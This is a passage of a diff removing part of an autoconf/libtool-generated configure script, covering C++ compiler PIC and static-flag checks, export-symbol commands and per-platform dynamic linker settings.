- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_pic_works_CXX=yes
- fi
- fi
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_works_CXX" >&5
-$as_echo "$lt_prog_compiler_pic_works_CXX" >&6; }
-
-if test x"$lt_prog_compiler_pic_works_CXX" = xyes; then
- case $lt_prog_compiler_pic_CXX in
- "" | " "*) ;;
- *) lt_prog_compiler_pic_CXX=" $lt_prog_compiler_pic_CXX" ;;
- esac
-else
- lt_prog_compiler_pic_CXX=
- lt_prog_compiler_can_build_shared_CXX=no
-fi
-
-fi
-case $host_os in
- # For platforms which do not support PIC, -DPIC is meaningless:
- *djgpp*)
- lt_prog_compiler_pic_CXX=
- ;;
- *)
- lt_prog_compiler_pic_CXX="$lt_prog_compiler_pic_CXX -DPIC"
- ;;
-esac
-
-#
-# Check to make sure the static flag actually works.
-#
-wl=$lt_prog_compiler_wl_CXX eval lt_tmp_static_flag=\"$lt_prog_compiler_static_CXX\"
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler static flag $lt_tmp_static_flag works" >&5
-$as_echo_n "checking if $compiler static flag $lt_tmp_static_flag works... " >&6; }
-if ${lt_prog_compiler_static_works_CXX+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_static_works_CXX=no
- save_LDFLAGS="$LDFLAGS"
- LDFLAGS="$LDFLAGS $lt_tmp_static_flag"
- printf "$lt_simple_link_test_code" > conftest.$ac_ext
- if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then
- # The linker can only warn and ignore the option if not recognized
- # So say no if there are warnings
- if test -s conftest.err; then
- # Append any errors to the config.log.
- cat conftest.err 1>&5
- $echo "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_static_works_CXX=yes
- fi
- else
- lt_prog_compiler_static_works_CXX=yes
- fi
- fi
- $rm conftest*
- LDFLAGS="$save_LDFLAGS"
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_static_works_CXX" >&5
-$as_echo "$lt_prog_compiler_static_works_CXX" >&6; }
-
-if test x"$lt_prog_compiler_static_works_CXX" = xyes; then
- :
-else
- lt_prog_compiler_static_CXX=
-fi
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -c -o file.$ac_objext" >&5
-$as_echo_n "checking if $compiler supports -c -o file.$ac_objext... " >&6; }
-if ${lt_cv_prog_compiler_c_o_CXX+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_c_o_CXX=no
- $rm -r conftest 2>/dev/null
- mkdir conftest
- cd conftest
- mkdir out
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- lt_compiler_flag="-o out/conftest2.$ac_objext"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>out/conftest.err)
- ac_status=$?
- cat out/conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s out/conftest2.$ac_objext
- then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
- $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
- if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_c_o_CXX=yes
- fi
- fi
- chmod u+w . 2>&5
- $rm conftest*
- # SGI C++ compiler will create directory out/ii_files/ for
- # template instantiation
- test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files
- $rm out/* && rmdir out
- cd ..
- rmdir conftest
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_c_o_CXX" >&5
-$as_echo "$lt_cv_prog_compiler_c_o_CXX" >&6; }
-
-
-hard_links="nottested"
-if test "$lt_cv_prog_compiler_c_o_CXX" = no && test "$need_locks" != no; then
- # do not overwrite the value of need_locks provided by the user
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking if we can lock with hard links" >&5
-$as_echo_n "checking if we can lock with hard links... " >&6; }
- hard_links=yes
- $rm conftest*
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- touch conftest.a
- ln conftest.a conftest.b 2>&5 || hard_links=no
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $hard_links" >&5
-$as_echo "$hard_links" >&6; }
- if test "$hard_links" = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5
-$as_echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;}
- need_locks=warn
- fi
-else
- need_locks=no
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5
-$as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
-
- export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- case $host_os in
- aix4* | aix5*)
- # If we're using GNU nm, then we don't want the "-C" option.
- # -C means demangle to AIX nm, but means don't demangle with GNU nm
- if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
- export_symbols_cmds_CXX='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- else
- export_symbols_cmds_CXX='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- fi
- ;;
- pw32*)
- export_symbols_cmds_CXX="$ltdll_cmds"
- ;;
- cygwin* | mingw*)
- export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS] /s/.* \([^ ]*\)/\1 DATA/;/^.* __nm__/s/^.* __nm__\([^ ]*\) [^ ]*/\1 DATA/;/^I /d;/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols'
- ;;
- *)
- export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- ;;
- esac
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_CXX" >&5
-$as_echo "$ld_shlibs_CXX" >&6; }
-test "$ld_shlibs_CXX" = no && can_build_shared=no
-
-#
-# Do we need to explicitly link libc?
-#
-case "x$archive_cmds_need_lc_CXX" in
-x|xyes)
- # Assume -lc should be added
- archive_cmds_need_lc_CXX=yes
-
- if test "$enable_shared" = yes && test "$GCC" = yes; then
- case $archive_cmds_CXX in
- *'~'*)
- # FIXME: we may have to deal with multi-command sequences.
- ;;
- '$CC '*)
- # Test whether the compiler implicitly links with -lc since on some
- # systems, -lgcc has to come before -lc. If gcc already passes -lc
- # to ld, don't add -lc before -lgcc.
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether -lc should be explicitly linked in" >&5
-$as_echo_n "checking whether -lc should be explicitly linked in... " >&6; }
- $rm conftest*
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } 2>conftest.err; then
- soname=conftest
- lib=conftest
- libobjs=conftest.$ac_objext
- deplibs=
- wl=$lt_prog_compiler_wl_CXX
- pic_flag=$lt_prog_compiler_pic_CXX
- compiler_flags=-v
- linker_flags=-v
- verstring=
- output_objdir=.
- libname=conftest
- lt_save_allow_undefined_flag=$allow_undefined_flag_CXX
- allow_undefined_flag_CXX=
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$archive_cmds_CXX 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\""; } >&5
- (eval $archive_cmds_CXX 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }
- then
- archive_cmds_need_lc_CXX=no
- else
- archive_cmds_need_lc_CXX=yes
- fi
- allow_undefined_flag_CXX=$lt_save_allow_undefined_flag
- else
- cat conftest.err 1>&5
- fi
- $rm conftest*
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $archive_cmds_need_lc_CXX" >&5
-$as_echo "$archive_cmds_need_lc_CXX" >&6; }
- ;;
- esac
- fi
- ;;
-esac
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking dynamic linker characteristics" >&5
-$as_echo_n "checking dynamic linker characteristics... " >&6; }
-library_names_spec=
-libname_spec='lib$name'
-soname_spec=
-shrext_cmds=".so"
-postinstall_cmds=
-postuninstall_cmds=
-finish_cmds=
-finish_eval=
-shlibpath_var=
-shlibpath_overrides_runpath=unknown
-version_type=none
-dynamic_linker="$host_os ld.so"
-sys_lib_dlsearch_path_spec="/lib /usr/lib"
-if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then
- # if the path contains ";" then we assume it to be the separator
- # otherwise default to the standard path separator (i.e. ":") - it is
- # assumed that no part of a normal pathname contains ";" but that should
- # okay in the real world where ";" in dirpaths is itself problematic.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
-else
- sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
-fi
-need_lib_prefix=unknown
-hardcode_into_libs=no
-
-# when you set need_version to no, make sure it does not cause -set_version
-# flags to be left without arguments
-need_version=unknown
-
-case $host_os in
-aix3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
- shlibpath_var=LIBPATH
-
- # AIX 3 has no versioning support, so we append a major version to the name.
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
-
-aix4* | aix5*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- hardcode_into_libs=yes
- if test "$host_cpu" = ia64; then
- # AIX 5 supports IA64
- library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- else
- # With GCC up to 2.95.x, collect2 would create an import file
- # for dependence libraries. The import file would start with
- # the line `#! .'. This would cause the generated library to
- # depend on `.', always an invalid library. This was fixed in
- # development snapshots of GCC prior to 3.0.
- case $host_os in
- aix4 | aix4.[01] | aix4.[01].*)
- if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
- echo ' yes '
- echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then
- :
- else
- can_build_shared=no
- fi
- ;;
- esac
- # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
- # soname into executable. Probably we can add versioning support to
- # collect2, so additional links can be useful in future.
- if test "$aix_use_runtimelinking" = yes; then
- # If using run time linking (on AIX 4.2 or later) use lib<name>.so
- # instead of lib<name>.a to let people know that these are not
- # typical AIX shared libraries.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- else
- # We preserve .a as extension for shared libraries through AIX4.2
- # and later when we are not doing run time linking.
- library_names_spec='${libname}${release}.a $libname.a'
- soname_spec='${libname}${release}${shared_ext}$major'
- fi
- shlibpath_var=LIBPATH
- fi
- ;;
-
-amigaos*)
- library_names_spec='$libname.ixlibrary $libname.a'
- # Create ${libname}_ixlibrary.a entries in /sys/libs.
- finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
- ;;
-
-beos*)
- library_names_spec='${libname}${shared_ext}'
- dynamic_linker="$host_os ld.so"
- shlibpath_var=LIBRARY_PATH
- ;;
-
-bsdi[45]*)
- version_type=linux
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
- sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
- # the default ld.so.conf also contains /usr/contrib/lib and
- # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
- # libtool to hard-code these into programs
- ;;
-
-cygwin* | mingw* | pw32*)
- version_type=windows
- shrext_cmds=".dll"
- need_version=no
- need_lib_prefix=no
-
- case $GCC,$host_os in
- yes,cygwin* | yes,mingw* | yes,pw32*)
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
- dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~
- dldir=$destdir/`dirname \$dlpath`~
- test -d \$dldir || mkdir -p \$dldir~
- $install_prog $dir/$dlname \$dldir/$dlname~
- chmod a+x \$dldir/$dlname'
- postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
- dlpath=$dir/\$dldll~
- $rm \$dlpath'
- shlibpath_overrides_runpath=yes
-
- case $host_os in
- cygwin*)
- # Cygwin DLLs use 'cyg' prefix rather than 'lib'
- soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
- ;;
- mingw*)
- # MinGW DLLs use traditional 'lib' prefix
- soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then
- # It is most probably a Windows format PATH printed by
- # mingw gcc, but we are running on Cygwin. Gcc prints its search
- # path with ; separators, and with drive letters. We can handle the
- # drive letters (cygwin fileutils understands them), so leave them,
- # especially as we might pass files found there to a mingw objdump,
- # which wouldn't understand a cygwinified path. Ahh.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
- ;;
- pw32*)
- # pw32 DLLs use 'pw' prefix rather than 'lib'
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
- ;;
-
- *)
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
- ;;
- esac
- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-
-darwin* | rhapsody*)
- dynamic_linker="$host_os dyld"
- version_type=darwin
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext'
- soname_spec='${libname}${release}${major}$shared_ext'
- shlibpath_overrides_runpath=yes
- shlibpath_var=DYLD_LIBRARY_PATH
- shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
- # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
- if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
- else
- sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
- fi
- sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
- ;;
-
-dgux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-freebsd1*)
- dynamic_linker=no
- ;;
-
-kfreebsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-freebsd* | dragonfly*)
- # DragonFly does not have aout. When/if they implement a new
- # versioning mechanism, adjust this.
- if test -x /usr/bin/objformat; then
- objformat=`/usr/bin/objformat`
- else
- case $host_os in
- freebsd[123]*) objformat=aout ;;
- *) objformat=elf ;;
- esac
- fi
- version_type=freebsd-$objformat
- case $version_type in
- freebsd-elf*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- need_version=no
- need_lib_prefix=no
- ;;
- freebsd-*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
- need_version=yes
- ;;
- esac
- shlibpath_var=LD_LIBRARY_PATH
- case $host_os in
- freebsd2*)
- shlibpath_overrides_runpath=yes
- ;;
- freebsd3.[01]* | freebsdelf3.[01]*)
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- freebsd3.[2-9]* | freebsdelf3.[2-9]* | \
- freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1)
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
- freebsd*) # from 4.6 on
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- esac
- ;;
-
-gnu*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- ;;
-
-hpux9* | hpux10* | hpux11*)
- # Give a soname corresponding to the major version so that dld.sl refuses to
- # link against other versions.
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- case $host_cpu in
- ia64*)
- shrext_cmds='.so'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.so"
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- if test "X$HPUX_IA64_MODE" = X32; then
- sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
- else
- sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
- fi
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- hppa*64*)
- shrext_cmds='.sl'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- *)
- shrext_cmds='.sl'
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=SHLIB_PATH
- shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
- esac
- # HP-UX runs *really* slowly unless shared libraries are mode 555.
- postinstall_cmds='chmod 555 $lib'
- ;;
-
-interix3*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $host_os in
- nonstopux*) version_type=nonstopux ;;
- *)
- if test "$lt_cv_prog_gnu_ld" = yes; then
- version_type=linux
- else
- version_type=irix
- fi ;;
- esac
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
- case $host_os in
- irix5* | nonstopux*)
- libsuff= shlibsuff=
- ;;
- *)
- case $LD in # libtool.m4 will add one of these switches to LD
- *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
- libsuff= shlibsuff= libmagic=32-bit;;
- *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
- libsuff=32 shlibsuff=N32 libmagic=N32;;
- *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
- libsuff=64 shlibsuff=64 libmagic=64-bit;;
- *) libsuff= shlibsuff= libmagic=never-match;;
- esac
- ;;
- esac
- shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
- sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
- hardcode_into_libs=yes
- ;;
-
-# No shared lib support for Linux oldld, aout, or coff.
-linux*oldld* | linux*aout* | linux*coff*)
- dynamic_linker=no
- ;;
-
-# This must be Linux ELF.
-linux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- # This implies no fast_install, which is unacceptable.
- # Some rework will be needed to allow for fast_install
- # before this can be enabled.
- hardcode_into_libs=yes
-
- # Append ld.so.conf contents to the search path
- if test -f /etc/ld.so.conf; then
- lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
- sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
- fi
-
- # We used to test for /lib/ld.so.1 and disable shared libraries on
- # powerpc, because MkLinux only supported shared libraries with the
- # GNU dynamic linker. Since this was broken with cross compilers,
- # most powerpc-linux boxes support dynamic linking these days and
- # people can always --disable-shared, the test was removed, and we
- # assume the GNU/Linux dynamic linker is in use.
- dynamic_linker='GNU/Linux ld.so'
- ;;
-
-knetbsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-netbsd*)
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- dynamic_linker='NetBSD (a.out) ld.so'
- else
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='NetBSD ld.elf_so'
- fi
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
-
-newsos6)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-nto-qnx*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-openbsd*)
- version_type=sunos
- sys_lib_dlsearch_path_spec="/usr/lib"
- need_lib_prefix=no
- # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
- case $host_os in
- openbsd3.3 | openbsd3.3.*) need_version=yes ;;
- *) need_version=no ;;
- esac
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- case $host_os in
- openbsd2.[89] | openbsd2.[89].*)
- shlibpath_overrides_runpath=no
- ;;
- *)
- shlibpath_overrides_runpath=yes
- ;;
- esac
- else
- shlibpath_overrides_runpath=yes
- fi
- ;;
-
-os2*)
- libname_spec='$name'
- shrext_cmds=".dll"
- need_lib_prefix=no
- library_names_spec='$libname${shared_ext} $libname.a'
- dynamic_linker='OS/2 ld.exe'
- shlibpath_var=LIBPATH
- ;;
-
-osf3* | osf4* | osf5*)
- version_type=osf
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib"
- sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec"
- ;;
-
-solaris*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- # ldd complains unless libraries are executable
- postinstall_cmds='chmod +x $lib'
- ;;
-
-sunos4*)
- version_type=sunos
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- if test "$with_gnu_ld" = yes; then
- need_lib_prefix=no
- fi
- need_version=yes
- ;;
-
-sysv4 | sysv4.3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- case $host_vendor in
- sni)
- shlibpath_overrides_runpath=no
